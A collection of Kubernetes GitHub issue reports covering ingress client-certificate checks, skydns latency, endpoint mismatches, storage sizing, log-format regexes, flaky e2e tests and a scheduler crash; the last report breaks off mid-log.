@smourapina @alejandrox1 @kacole2 @mortent \r \r   / /area deflake

kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5\ , gitcommit:\ 753b2dbc622f5cc417845f0ff8a77f539a4213ea\ , gittreestate:\ clean\ , builddate:\ 2018-12-06t01:33:57z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.8-eks-7c34c0\ , gitcommit:\ 7c34c0d2f2d0f11f397d55a46945193a0e22d8f3\ , gittreestate:\ clean\ , builddate:\ 2019-03-01t22:49:39z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r  nginx-ingress-controller:\r  image:       quay.io/kubernetes-ingress-controller/nginx-ingress-controller:0.23.0\r \r \r we are using kubernetes and stable/nginx-ingress for our application. we are using 2 ways ssl authentication. everyone who have client key can authenticate our application. client.xyz.com.key should only work. but in our case, any digi cert client key is working for authentication. \r \r how can we tell nginx to check the cname of the client.key to validate before ssl termination. \r \r example:\r application : www.xyz.com\r \r only client.xyz.com.key can only access our application www.xyz.com.\r \r regards,\r manoj.\r

as a follow-on to   https://github.com/googlecloudplatform/kubernetes/pull/12187  we should be able to constrain bandwidth requests for a pod similar to other resources  memory, cpu, etc .    prerequisite to add request vs limit support in both limitrange and resourcequota needs to happen first.  fyi @ncdc

right now, the service controller has no sense of responsibility for the load balancer resources that exist in a cloud user's project. it only deletes things that it knows it owns, meaning that if it gets restarted while deleting a load balancer, it won't finish deleting the load balancer when it restarts  or if it's simply not running when a load balancer gets deleted, it won't even start deleting the load balancer .  this should reduce resource leaks, especially in any e2e tests that involve restarting  including upgrading  the master. cross-referencing various leak-related issues:  13515,  14597,  15083,  15084   @davidopp @quinton-hoole

forked from  598 -- see that issue for more background. we don't need to implement this now, but recording the idea for posterity.  if we need more control over pod durability  e.g., to configure the node controller behavior --  1366 , rather than a single pin/persistence bit, i suggest we implement _forgiveness_: a list of  event type, optional duration, optional rate  of disruption events  e.g., host unreachability  the pod will tolerate. we could support an _any_ event type and infinite duration for pods that want to be pinned regardless of what happens.  this approach would generalize nicely for cases where, for example, applications wanted to endure reboots but give up in the case of extended outages or in the case that the disk goes bad. we're also going to want to use a similar spec for availability requirements / failure tolerances of sets of pods.

the documentation of  k8s.io/kubernetes/pkg/labels.selectorfromset  says  > a nil and empty sets are considered equivalent to everything  .  however, from the documentation on  services without selectors  http://kubernetes.io/v1.1/docs/user-guide/services.html services-without-selectors , i would expect  labels.selectorfromset labels.set nil    to behave the same as  labels.nothing

os  : coreos   env  : aws - 3 kubelets   kubernetes version  : 1.1.1    issue references  : https://github.com/kubernetes/kubernetes/issues/14315, https://github.com/kubernetes/kubernetes/issues/14051    cc  : @artfulcoder @thockin   this still appears to be a problem in k8s v1.1.1 running on coreos/aws. this has been tested with no resource limits on the skydns and the test pods.  the test i'm running is a bash curl loop -      for i in $ seq 1 100 ; \\ do \\ curl -o /dev/null -s -w \ dns-lookup  %{time_namelookup}  time-connect  %{time_connect}  time-pretransfer  %{time_pretransfer}  time-starttransfer  %{time_starttransfer}  total-time  %{time_total} \ \  https://www.google.com/ ; \\ done      and seemingly at random intervals the dns, skydns in this instance, takes around 5s to respond. the 5s delay is almost always reproducible give or take a few msec. truncated output with the second line showing the delay -      ... dns-lookup  0.084  time-connect  0.086  time-pretransfer  0.106  time-starttransfer  0.533  total-time  0.533  dns-lookup  5.582  time-connect  5.584  time-pretransfer  5.602  time-starttransfer  6.035  total-time  6.035  dns-lookup  0.090  time-connect  0.092  time-pretransfer  0.106  time-starttransfer  0.440  total-time  0.440  dns-lookup  0.138  time-connect  0.140  time-pretransfer  0.191  time-starttransfer  0.571  total-time  0.571  dns-lookup  0.058  time-connect  0.062  time-pretransfer  0.098  time-starttransfer  0.593  total-time  0.593  ...      interestingly this seems to be only from inside a container when talking to skydns. all other cases, including querying skydns from kubelets/master, have no latency issues.  my skydns container has the following config to enabled response cache and rotate between google and opendns servers to avoid the dns throttling issue but that doesn't seem to make a dent.                command = \ /skydns\          - -addr=0.0.0.0:53         - -domain=fake.domain.         - -machines=http://127.0.0.1:2379         - -nameservers=8.8.8.8:53,208.67.222.222:53         - -ns-rotate=true         - -rcache=10000         - -rcache-ttl=30         - -round-robin=true         - -rtimeout=1s      interestingly i absolutely can't reproduce this, regardless of the number of retries, trying to use just dig -      for i in $ seq 1 100 ; \\ do \\ dig google.com | grep \ query time\  ; \\ dig google.com +tcp | grep \ query time\  ; \\ done

when i execute  kubectl create -f namespace.yaml -f pod-app.yaml , even if pod-app.yaml is not properly formated, namespace.yaml is parsed and interpreted:      namespace \ linerio-system\  created unable to decode \ pod-app.yaml\ :  pos 59 : json: expect char '{' but got char ' '      i think both configuration files should be validated before processing resources.

notices node port service isn't working in an ingress e2e, from time to time:  http://kubekins.dls.corp.google.com/job/kubernetes-e2e-gce-ingress-release-1.3/320/consolefull      09:57:52 jun 22 09:57:52.210: info: host  path http://104.198.199.62:32753: get http://104.198.199.62:32753: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers  unreachable 09:58:32 jun 22 09:58:32.212: info: host  path http://104.198.199.62:32753: get http://104.198.199.62:32753: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers  unreachable 09:58:42 jun 22 09:58:42.214: info: host  path http://104.198.199.62:32753: get http://104.198.199.62:32753: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers  unreachable      node port 32753 didn't respond.  https://console.cloud.google.com/storage/browser/kubernetes-jenkins/logs/kubernetes-e2e-gce-ingress-release-1.3/320

i swear we have logic to preserve counters, but i can see that it is not working.\r \r probably something easy, could use a good test.  may be great for a newcomer.\r \r @kubernetes/sig-network-bugs

@cheftako and @bsalamat brought to my attention that a number of our system pods are not marked critical.  as the critical pod annotations are enabled in gce, it is important that we are intentional about which pods are marked critical.  looking through my local cluster created today, i see the following kube-system pods that are not marked critical:\r \r etcd-empty-dir-cleanup-kubernetes-master  static \r etcd-server-events-kubernetes-master  static \r etcd-server-kubernetes-master  static \r event-exporter-v0.1.0-947590526-h897n  non-static \r kube-addon-manager-kubernetes-master  static \r kube-apiserver-kubernetes-master  static \r kube-controller-manager-kubernetes-master  static \r kube-scheduler-kubernetes-master  static \r l7-default-backend-4019876529-14krg  non-static \r l7-lb-controller-v0.9.3-kubernetes-master  static \r monitoring-influxdb-grafana-v4-2dv01  non-static \r rescheduler-v0.3.0-kubernetes-master  static \r \r i am not sure who the owner of each of these is, and some  especially non-static  may not need to be marked critical.\r   static pods that are not marked critical can be evicted or preempted, and will never be rescheduled  , so we should almost definitely mark static system pods as critical, and should at least consider marking the non-static ones as critical.\r \r cc @davidopp @dchen1107 @vishh @piosz for people who might know who the owners of each of these pods are.\r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r after deploying the prometheus node-exporter as daemonset + service with these manifests: https://gist.github.com/discordianfish/77b1e4f82ebe966ec5ce341aa3366155\r \r ...the node-exporter gets deployed to all nodes as expected:\r \r    \r $ kubectl get pod -l app=node-exporter -o json|jq '.items  |{\ name\ : .metadata.name, \ ip\ : .status.podip}'|jq -s 'sort_by .ip '\r  \r   {\r     \ name\ : \ node-exporter-2b14f\ ,\r     \ ip\ : \ 10.32.130.2\ \r   },\r   {\r     \ name\ : \ node-exporter-nkqhr\ ,\r     \ ip\ : \ 10.32.130.3\ \r   },\r   {\r     \ name\ : \ node-exporter-7w9pq\ ,\r     \ ip\ : \ 10.32.130.4\ \r   },\r   {\r     \ name\ : \ node-exporter-j3hfm\ ,\r     \ ip\ : \ 10.32.130.5\ \r   },\r   {\r     \ name\ : \ node-exporter-pp1sq\ ,\r     \ ip\ : \ 10.32.130.6\ \r   }\r  \r    \r \r the pod ips match the host ips, which i assume is expected given the node-exporter runs in host networking namespace:\r    \r $ kubectl get nodes -o json| jq '.items  .status.addresses  |select .type == \ internalip\  '\r {\r   \ address\ : \ 10.32.130.6\ ,\r   \ type\ : \ internalip\ \r }\r {\r   \ address\ : \ 10.32.130.5\ ,\r   \ type\ : \ internalip\ \r }\r {\r   \ address\ : \ 10.32.130.4\ ,\r   \ type\ : \ internalip\ \r }\r {\r   \ address\ : \ 10.32.130.2\ ,\r   \ type\ : \ internalip\ \r }\r {\r   \ address\ : \ 10.32.130.3\ ,\r   \ type\ : \ internalip\ \r }\r    \r \r so far so good. the problem is that all but one endpoints are 'not ready' and they are all inconsistent with their pod ip:\r    \r $ kubectl get endpoints -l app=node-exporter -o json | jq '.items 0 .subsets 0 .addresses  |{\ name\ : .targetref.name, \ ip\ : .ip}'\r {\r   \ name\ : \ node-exporter-pp1sq\ ,\r   \ ip\ : \ 10.32.130.6\ \r }\r $ kubectl get endpoints -l app=node-exporter -o json | jq '.items 0 .subsets 0 .notreadyaddresses  |{\ name\ : .targetref.name, \ ip\ : .ip}'\r {\r   \ name\ : \ node-exporter-2b14f\ ,\r   \ ip\ : \ 10.32.130.3\ \r }\r {\r   \ name\ : \ node-exporter-nkqhr\ ,\r   \ ip\ : \ 10.32.130.4\ \r }\r {\r   \ name\ : \ node-exporter-j3hfm\ ,\r   \ ip\ : \ 10.32.130.5\ \r }\r {\r   \ name\ : \ node-exporter-7w9pq\ ,\r   \ ip\ : \ 10.32.130.7\ \r }\r    \r \r this leads prometheus to miss one instance and apply wrong labels. this could lead to misinterpretation of monitoring results in this particular case and probably even catastrophic failure in other cases.\r \r   what you expected to happen  :\r i expected the endpoint ip match the pod_ip.\r \r   how to reproduce it  as minimally and precisely as possible   :\r this is a pretty much vanilla gke cluster with https://gist.github.com/discordianfish/77b1e4f82ebe966ec5ce341aa3366155 applied.\r \r   anything else we need to know?  :\r the node-exporter is running in host networking and pid namespace.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.4\r - cloud provider or hardware configuration  : gke

\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r \r   what happened  :\r \r deployed an initializer with an initializer configuration in place.\r \r   what you expected to happen  :\r \r the initializer would deploy even if an initializer configuration was in place.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create an initializer configuration that forces all deployments to be initialized. \r 2. deploy an initializer controller using a deployment.\r \r example initializer: https://github.com/kelseyhightower/kubernetes-initializer-tutorial\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r \r    \r gke\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   \r   what happened  :\r \r currently, if i was running a cronjob, then there will be quite a lot of completed jobs in my environment, and the completed jobs may impact the performance of api server.\r \r   what you expected to happen  :\r add some parameters or annotations to define how many completed jobs can be kept in cronjob history.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:

  \r   what happened  : i have a deployment called  wordpress   labels:  app=wordpress   that has two containers named  web ,  cloudsql-proxy . it is running with  replicas:1 .\r \r i tried to view the logs:\r \r    \r $ kubectl logs -l app=wordpress\r error from server  badrequest : a container name must be specified for pod wordpress-1615343444-d95v3, choose one of:  web cloudsql-proxy \r    \r \r so i clarified, by appending container name  web  to the command:\r \r    \r $ kubectl logs -l app=wordpress web\r error: only a selector  -l  or a pod name is allowed\r see 'kubectl logs -h' for help and examples.\r    \r \r it says only a \ selector\  or \ pod name\  is allowed.\r in this case i'm not specifying pod name, just the selector.\r but it still fails with this error.\r \r   what you expected to happen  :\r the command to match the single replica pod and show logs from the container.\r \r   how to reproduce it  as minimally and precisely as possible   : \r deploy two containers via a deployment  replicas:1  and try to view its logs via -l/--label\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : client 1.8, server v1.6.10-gke.1\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : google cloud-optimized os  cos

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r create 50gi podvolumeclaim with glusterfs provisioner.\r \r   what you expected to happen  :\r i expected 50gi volume would be created, instead of 54gi.\r    \r $ k get pvc -o yaml test-volume-gi\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     pv.kubernetes.io/bind-completed: \ yes\ \r     pv.kubernetes.io/bound-by-controller: \ yes\ \r     volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/glusterfs\r   creationtimestamp: 2017-11-17t10:16:43z\r   name: test-volume-gi\r   namespace: default\r   resourceversion: \ 478898\ \r   selflink: /api/v1/namespaces/default/persistentvolumeclaims/test-volume-gi\r   uid: 68eddbe2-cb80-11e7-8724-002590e72b34\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 50gi\r   storageclassname: regular\r   volumename: pvc-68eddbe2-cb80-11e7-8724-002590e72b34\r status:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 54gi\r   phase: bound\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create storage class with glusterfs as dynamic provisioner.\r 2. create podvolumeclaim.\r \r   anything else we need to know?  :\r commit, that cause it: https://github.com/kubernetes/kubernetes/commit/77be9123f7f38ffb3a0a4ae79f698e49ffff56a6\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.1-dirty\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ dirty\ , builddate:\ 2017-10-19t11:36:32z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  / \r ref https://github.com/kubernetes/features/issues/541\r \r this was planned in the original proposal but wasn't implemented for alpha in 1.10 https://github.com/kubernetes/community/blob/master/contributors/design-proposals/auth/kubectl-exec-plugins.md

failing jobs\r    sig-release-master-blocking gci-gce-alpha-features  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-alpha-features&show-stale-tests= \r    sig-release-1.11-blocking gce-alpha-features-1.11  https://k8s-testgrid.appspot.com/sig-release-1.11-blocking gce-alpha-features-1.11&show-stale-tests= \r \r    failing test\r    beforesuite  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/22718 beforesuite \r \r whenever the beforesuite test runs  which is not deterministic from the dashboard , it fails and skips majority of other tests in the job. fwiw this has been the status of this job since release-1.9 and does not seem to be blocking a release. but it will be useful to get to the bottom of this flake and make sure there is no blocking product issue here.\r \r  / / /assign @wenjiaswe\r /milestone v1.11\r \r /cc @jberkus @tpepper

 \r is this a bug report or feature request?:\r \r uncomment only one, leave it on its own line:\r \r    what happened  :\r \r when i use deployment file to deploy an applicaiton. sometimes it works good. but sometimes it have problme shown below.\r \r normal   scheduled       4m               default-scheduler  successfully assigned default/streaming-client0-67d59b9969-8g9nb to thalassa\r   warning  failed          2m               kubelet, thalassa  error: context deadline exceeded\r   normal   sandboxchanged  2m               kubelet, thalassa  pod sandbox changed, it will be killed and re-created.\r   normal   pulling         1m  x2 over 4m   kubelet, thalassa  pulling image \ cloudsuite/media-streaming:dataset\ \r   normal   pulled          1m  x2 over 4m   kubelet, thalassa  successfully pulled image \ cloudsuite/media-streaming:dataset\ \r \r \r   what you expected to happen  :\r \r \r i expect to see the container is normally created like below in another node:\r   normal  pulling  <invalid>  x56 over 22h   kubelet, erebos  pulling image \ cloudsuite/media-streaming:client\ \r   normal  pulled   <invalid>  x56 over 22h   kubelet, erebos  successfully pulled image \ cloudsuite/media-streaming:client\ \r   normal  created  <invalid>  x56 over 22h   kubelet, erebos  created container\r   normal  started  <invalid>  x56 over 22h   kubelet, erebos  started container\r \r   how to reproduce it  as minimally and precisely as possible :  \r \r deployment the application\r \r   anything else we need to know?:  \r \r i use the cloudsuite applicaiton media-streaming.\r \r \r environment:\r \r kubernetes version  use kubectl version : v1.11.2\r cloud provider or hardware configuration: dell poweredge r210 with interl nic\r os  e.g. from /etc/os-release : ubuntu 16.04 lts\r kernel  e.g. uname -a : 4.15.0-33-generic\r install tools: ansible\r others:\r \r \r thanks a lot.

is this format documented anywhere outside the code?\r we are struggling with how to support it in fluent-bit.\r \r follow-up to  44976\r \r the current fluent-bit  crio  parser uses this regex predating the partial/full and logtag:\r    \r /^ ?<time>.+ \\b ?<stream>stdout|stderr \\b ?<log>.  $/\r    \r @chlunde has proposed in fluent/fluent-bit 876 this regex proposal:\r    \r /^ ?<time>.+ \\b ?<stream>stdout|stderr    ?<logtag> a-z   ?\\b ?<log>.  $/\r    \r @kskewes has this proposed this regex in fluent/fluent-bit 873 :\r    \r ^ ?<time>.+   ?<stream>stdout|stderr   ?<partialflag>f|p   ?<message>.  $\r    \r \r if you look at the regex fluentd uses here  line 128  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/fluentd-es-configmap.yaml l128  it is currently:\r    \r /^ ?<time>.+   ?<stream>stdout|stderr   ^     ?<log>.  $/\r    \r can you speak to which would best meet your understanding and experience?\r is there official cri-o log format documentation we should be consulting?\r \r this example: https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/fluentd-es-configmap.yaml l112\r \r    \r 2016-02-17t00:04:05.931087621z stdout f  info:2016-02-16t16:04:05.930-08:00  some log text here\r    \r does not demonstrate partials and tags the way this https://github.com/kubernetes/kubernetes/issues/44976 issuecomment-345373795 comment does:\r    \r timestamp stream tag content\r 2016-10-06t00:17:09.669794202z stdout p:tag1:tag2 log content 1\r 2016-10-06t00:17:09.669794203z stdout p:tag1:tag2 log content 2\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r see https://github.com/kubernetes/kubernetes/issues/71108 for background\r \r @kubernetes/sig-storage-bugs \r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r additional floating-point handling to  getvaluefromintorpercent    https://github.com/kubernetes/kubernetes/blob/a3ccea9d8743f2ff82e41b6c2af6dc2c41dc7b10/staging/src/k8s.io/apimachinery/pkg/util/intstr/intstr.go l153, allowing users to pass  0.5  for the same behaviour as  \ 50%\  .\r \r   why is this needed  :\r some recent confusion arose with the poddisruptionbudget documentation, where it was assumed that, for example,  0.5  can be passed to  minavailable  which would represent 50%. this has been addressed with: https://github.com/kubernetes/website/issues/14682 and https://github.com/kubernetes/website/pull/14788\r \r however, while writing the above pr for the docs, it occurred to me that this might be a common way users expect to interact with these kind of percentage-based apis, and so the current behaviour  passing a percentage as a string  might seem like a bug.\r

i did the following: 1. create an ingress with two rules   kubectl create -f my-ingress.yaml  :            yaml    rules:      - http:          paths:          - backend:              servicename: core              serviceport: external            path: /           - backend:              servicename: core              serviceport: external            path: /        2. update the  my-ingress.yaml  file and add about 30 other paths. 3. apply the changes using  kubectl apply -f my-ingress.yaml   this returns ok   expected: ingress should be updated with the new paths  url map and load balancer should be updated in the google cloud environment  actual: i get the following error when i run  kubectl describe ing name :       w0517 15:55:43.381868   40819 request.go:627  throttling request took 80.243524ms, request: get:https://xxx.xxx.xx.xxx/api/v1/namespaces/default/endpoints/name w0517 15:55:43.580928   40819 request.go:627  throttling request took 140.667475ms, request: get:https://xxx.xxx.xx.xxx/api/v1/namespaces/default/services/name w0517 15:55:43.781475   40819 request.go:627  throttling request took 141.907785ms, request: get:https://xxx.xxx.xx.xxx/api/v1/namespaces/default/endpoints/name w0517 15:55:43.981096   40819 request.go:627  throttling request took 142.299341ms, request: get:https://xxx.xxx.xx.xxx/api/v1/namespaces/default/services/name w0517 15:55:44.180964   40819 request.go:627  throttling request took 144.053361ms, request: get:https://xxx.xxx.xx.xxx/api/v1/namespaces/default/endpoints/name w0517 15:55:44.380810   40819 request.go:627  throttling request took 143.385816ms, request: get:https://xxx.xxx.xx.xxx/api/v1/namespaces/default/services/name w0517 15:55:44.581001   40819 request.go:627  throttling request took 143.016889ms, request: get:https://xxx.xxx.xx.xxx/api/v1/namespaces/default/endpoints/name w0517 15:55:44.780982   40819 request.go:627  throttling request took 139.585187ms, request: get:https://xxx.xxx.xx.xxx/api/v1/namespaces/default/services/name w0517 15:55:44.981495   40819 request.go:627  throttling request took 143.476934ms, request: get:https://xxx.xxx.xx.xxx/api/v1/namespaces/default/endpoints/name w0517 15:55:45.180842   40819 request.go:627  throttling request took 142.854923ms, request: get:https://xxx.xxx.xx.xxx/api/v1/namespaces/default/services/name w0517 15:55:45.381005   40819 request.go:627  throttling request took 143.753139ms, request: get:https://xxx.xxx.xx.xxx/api/v1/namespaces/default/endpoints/name      also the load balancer doesn't seem to be updated with the new mappings. when i list the backend services it doesn't seem like the backend service   k8s-be-30139   is in use:  ! image  https://cloud.githubusercontent.com/assets/187029/15326169/44cb78e4-1c4d-11e6-8f95-82d3ecc42c0a.png

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/2/  failed:  k8s.io  network partition  disruptive   slow   k8s.io   job  should create new pods when node is partitioned {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:475 nov 15 18:25:26.416: unexpected error: <nil> /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:4279

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/3750/ failed: testpoddeletionwithdswp {volume}      attach_detach_test.go:134: pod not added to desired state of world

i deployed an elasticsearch cluster to an on-premise openshift v1.3. the pods use local ephemeral  emptydir  volume for storage because i found performance is unacceptable with glusterfs backed persistent volume. an  es engineering blog  https://www.elastic.co/blog/performance-considerations-elasticsearch-indexing  also advised against using network share. \r \r to prevent data loss for this type of shared nothing stateful app cluster, there is a node reduction rate tolerance cap. for example, if es shard replica is 1  i.e. 1 extra copy of each shard for a total of 2 copies. es ensures copies reside on separate nodes , then if 2 or more pods are brought down quickly without leaving adequate recovery window in between for the cluster to rebalance data, partial data loss will likely to occur.\r \r during a rolling deployment, i am able to control pod killing rate with 3 configs -  maxunavailable ,  maxsurge  and pod readinessprobe's  timeoutseconds . i would like to enable hpa for this cluster but found hpa doesn’t honor these settings and there is no other way to control the reduction rate.\r \r

kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : a single kubernetes node running inside our internal machine\r -   os    e.g. from /etc/os-release :\r \r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r    \r \r -   kernel    e.g.  uname -a  : linux bengio 4.4.0-79-generic  100-ubuntu smp wed may 17 19:58:14 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :  manual, i'm using an internal tool to provision a kubernetes cluster which was based on docker-multinode from kube-deploy\r \r -   others  :\r \r   what happened  :\r the scheduler sometimes crashes with the error\r \r    \r e0607 23:33:02.262264       1 cache.go:290  pod default/test-pod removed from a different node than previously added to.\r f0607 23:33:02.262295       1 cache.go:291  schedulercache is corrupted and can badly affect scheduling decisions\r    \r \r   what you expected to happen  :\r \r scheduler does not crash\r \r   how to reproduce it    as minimally and precisely as possible :\r \r i was using this manifest\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test-pod\r spec:\r   containers:\r     - image: busybox\r       args:   \ tail\ , \ -f\ , \ /dev/null\   \r       name: jupyter\r    \r \r   run  kubectl create -f test-pod.yaml \r   wait for a few minutes for the pod to be ready\r   delete the pod  kubectl delete -f test-pod.yaml \r   wait for a few minutes for the pod to be completely gone\r   create the pod again\r   the scheduler will crash with the message\r \r    \r e0607 23:33:02.262264       1 cache.go:290  pod default/test-pod removed from a different node than previously added to.\r f0607 23:33:02.262295       1 cache.go:291  schedulercache is corrupted and can badly affect scheduling decisions\r    \r \r i can always reproduce the problem. i tried with 1.5.4 version and this is not a problem.\r \r i also see this error in kubelet log, but i don't know if this is relevant\r \r    \r w0608 00:00:41.599500   31135 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ test-pod_default\ : unexpected command output nsenter: cannot open : no such file or directory\r  with error: exit status 1\r w0608 00:00:41.615131   31135 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ test-pod_default\ : unexpected command output nsenter: cannot open : no such file or directory\r  with error: exit status 1\r    \r \r    \r e0608 00:01:55.548461   31135 remote_runtime.go:224  stopcontainer \ b600d6c61847a51a8f81ea250c99253a10aff7a4924b680b61af154c4a59115c\  from runtime service failed: rpc error: code = 4 desc = context deadline exceeded\r e0608 00:01:55.548547   31135 kuberuntime_container.go:552  container \ docker://b600d6c61847a51a8f81ea250c99253a10aff7a4924b680b61af154c4a59115c\  termination failed with graceperiod 30: rpc error: code = 4 desc = context deadline exceeded\r e0608 00:01:55.831925   31135 kubelet.go:1455  error killing pod: failed to \ killcontainer\  for \ jupyter\  with killcontainererror: \ rpc error: code = 4 desc = context deadline exceeded\ \r e0608 00:01:55.831970   31135 pod_workers.go:182  error syncing pod 77c67c67-4bdd-11e7-ad63-2c56dc3952f6  \ test-pod_default 77c67c67-4bdd-11e7-ad63-2c56dc3952f6 \  , skipping: error killing pod: failed to \ killcontainer\  for \ jupyter\  with killcontainererror: \ rpc error: code = 4 desc = context deadline exceeded\ \r w0608 00:01:56.578757   31135 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ test-pod_default\ : unexpected command output nsenter: cannot open : no such file or directory\r  with error: exit status 1\r    \r \r   anything else we need to know  :\r \r since i'm using our own tool to provision the internal cluster, i'm posting the information about the cluster here so we can debug it easier\r \r <details><summary>master kubelet</summary>\r \r    \r  \r     {\r         \ id\ : \ c6770b0fec75332735634480441ce830cb77408989cb9776c1e231f474f37522\ ,\r         \ created\ : \ 2017-06-07t23:56:40.783154931z\ ,\r         \ path\ : \ /hyperkube\ ,\r         \ args\ :  \r             \ kubelet\ ,\r             \ --allow-privileged\ ,\r             \ --api-servers=http://127.0.0.1:8080\ ,\r             \ --pod-manifest-path=/var/lib/kubelet/manifests\ ,\r             \ --feature-gates=accelerators=true\ ,\r             \ --cluster-dns=10.233.0.10\ ,\r             \ --cluster-domain=cluster.local\ ,\r             \ --network-plugin=cni\ ,\r             \ --hostname-override=10.9.1.100\ ,\r             \ --v=2\ \r          ,\r         \ state\ : {\r             \ status\ : \ running\ ,\r             \ running\ : true,\r             \ paused\ : false,\r             \ restarting\ : false,\r             \ oomkilled\ : false,\r             \ dead\ : false,\r             \ pid\ : 31135,\r             \ exitcode\ : 0,\r             \ error\ : \ \ ,\r             \ startedat\ : \ 2017-06-07t23:56:41.060054691z\ ,\r             \ finishedat\ : \ 0001-01-01t00:00:00z\ \r         },\r         \ image\ : \ sha256:dd615ee130212f51e3f43e8a67813d8bff0f174fd87b094cecd6db929264ae06\ ,\r         \ resolvconfpath\ : \ /var/lib/docker/containers/c6770b0fec75332735634480441ce830cb77408989cb9776c1e231f474f37522/resolv.conf\ ,\r         \ hostnamepath\ : \ /var/lib/docker/containers/c6770b0fec75332735634480441ce830cb77408989cb9776c1e231f474f37522/hostname\ ,\r         \ hostspath\ : \ /var/lib/docker/containers/c6770b0fec75332735634480441ce830cb77408989cb9776c1e231f474f37522/hosts\ ,\r         \ logpath\ : \ 